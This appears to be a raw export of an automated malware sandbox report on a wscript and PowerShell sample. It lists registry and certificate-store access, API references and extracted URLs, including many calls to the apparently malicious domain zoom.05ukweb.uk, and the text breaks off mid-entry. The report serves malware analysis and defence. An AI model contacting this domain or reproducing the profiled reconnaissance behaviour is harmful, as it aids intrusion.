"Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot%" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{1" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D8B858BD-F5F1-4FA3-972A-D0C63DD54CF5}" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{420B2830-E718-11CF-893D-00A0C9054228}" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "y\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-&" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|KeepAliveInterval" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|MTU" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|NumForwardPackets" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnablePMTUDiscovery" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|Ser" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|ArpAlwaysSourceRoute" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|DatabasePath" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpi" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|DefaultTOS" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|DefaultTT)" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|LeaseTerminatesTime" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|L" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|ForwardBufferMemory" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "2Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnableLMHOSTS" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-0000000008" in Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WIN\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp "PSModulePath=C:\Users\HAPUBWS\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsP\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}ers\K" in Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E8880000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000002.259252.E8AC0000.00000004.mdmp2c:Tb74,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OFFLOAD"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\MANAGED\S-1-5-21-735145574-3570218355-1207367261-1001\INSTALLER\ASSEMBLIES\C:|WINDOWS|SYSTEM32|WINDOWSPOWERSHELL|V1.0|POWERSHELL.EXE.CONFIG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INSTALLER\ASSEMBLIES\C:|WINDOWS|SYSTEM32|WINDOWSPOWERSHELL|V1.0|POWERSHELL.EXE.CONFIG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\INSTALLER\ASSEMBLIES\C:|WINDOWS|SYSTEM32|WINDOWSPOWERSHELL|V1.0|POWERSHELL.EXE.CONFIG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\MANAGED\S-1-5-21-735145574-3570218355-1207367261-1001\INSTALLER\ASSEMBLIES\GLOBAL"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INSTALLER\ASSEMBLIES\GLOBAL"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\INSTALLER\ASSEMBLIES\GLOBAL"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\AMSI\PROVIDERS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32"; Key: ""; Value: "")2d:T756,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001"; Key: "NAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER"; Key: "TYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER"; Key: "IMAGE PATH"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "75697175-75E2-4D85-83BC-7278ACC12DE4"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "7A01E7FB-B6A4-4585-B1A8-EA2094ECB4C5"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST"; Key: "PROGRAMDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST"; Key: "PUBLIC"; Value: "")2e:T41e,Found registry query API: "RegQueryValueA" in "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp" Found registry query API: "RegOpenKeyA" in "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp" Found registry query API: "RegEnumKeyExA" in "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp" Found registry query API: "RegReadW" in "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp" Found registry query API: "RegReadW" in "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp"2f:Ta2a,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\LINKINFO.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\LINKINFO.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\NTSHRUI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\ntshrui.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SSPICLI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\SspiCli.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SRVCLI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\srvcli.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CSCAPI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\cscapi.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll"30:Tca8,Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API "Win32API|System Information Functions|GetSystemDirectory" (Indicator: "GetSystemDirectory"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "Win32API|System Information Functions|GetSystemDirectory" (Indicator: "GetSystemDirectory"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp")31:Tc63,"powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" (Filter: 268435461; Subtree: 1)32:T1ae4,Pattern match: "https://zoom.05ukweb.uk/ft?topic=s" Pattern match: "zoom.05ukweb.uk/ft" Heuristic match: "zoom.05ukweb.uk" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: "if not dict.exists(key) then dict.add key, subfolder.name" Heuristic match: "getproc=getproc+prc.name" Heuristic match: "cript.sh" Pattern match: "https://zoom.05ukweb.uk/ft" Heuristic match: "cim_computersystem.name" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4638508" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4632377" Heuristic match: "kweb.uk" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4504716" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662" Pattern match: "5ukweb.uk/ft" Heuristic match: "oom.05ukweb.uk" Heuristic match: "05ukweb.uk" Pattern match: "om.05ukweb.uk/ft" Pattern match: "https://zoom.05ukweb.uk/" Pattern match: "http://www.microsoft.com0" Pattern match: "oom.05ukweb.uk/ft" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4607832" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4626244" Heuristic match: "ntrust.net" Pattern match: "https://zo" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1/0-" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Heuristic match: "1.3.6.1.ph" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "host: zoom.05ukweb.uk" Heuristic match: "cim_operatingsystem.name" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4729689" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4802324" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4790210" Pattern match: "zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4802324" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4686898" Pattern match: "https://zo00000346-0000-0000-c000-000000000046" Pattern match: "zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4601787" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4504716" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4589689" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4601787" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4577593" Heuristic match: "eb.uk" Pattern match: "zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4808340" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4705246" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4808340" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4796234" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4747832" Pattern match: "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4735742" Heuristic match: ".05ukweb.uk"33:T130c,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c00000044002900000000000000 (UID: 00000000-00006036) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000001800000000000000a46afdfc6b7e000038f8cc6a6149000006000000000000000000d14ef67f0000a402fe01f87f0000060000003a020000d8f19d16f87f000000f79abcdc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d14e (UID: 00000000-00005276) "wscript.exe" called "GetVersionExA" with parameter 